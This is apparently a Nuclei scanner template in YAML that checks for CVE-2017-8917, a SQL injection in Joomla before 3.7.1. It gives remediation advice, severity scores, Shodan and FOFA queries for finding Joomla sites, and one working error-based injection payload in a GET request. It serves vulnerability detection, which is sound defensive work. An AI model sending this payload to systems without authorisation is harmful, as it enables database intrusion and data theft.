id: CVE-2017-8917

info:
  name: Joomla! <3.7.1 - SQL Injection
  author: princechaddha
  severity: critical
  description: |
    Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the entire Joomla! website.
  remediation: |
    Upgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability.
  reference:
    - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8917
    - https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
    - http://www.securitytracker.com/id/1038522
    - https://github.com/binfed/cms-exp
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-8917
    cwe-id: CWE-89
    epss-score: 0.99826
    epss-percentile: 0.99959
    cpe: cpe:2.3:a:joomla:joomla\!:3.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.component:"Joomla"
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2017,cve,joomla,sqli,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'
# digest: 4a0a0047304502201c5cdf07deac773b8c46a71dee1e275174f36380fdc838a83fccb23640c93fed022100a6b1e33d75423c48d0693d952f0fcd97fda1eba911b4859b164c275d5e81afc6:922c64590222798bb761d5b6d8e72950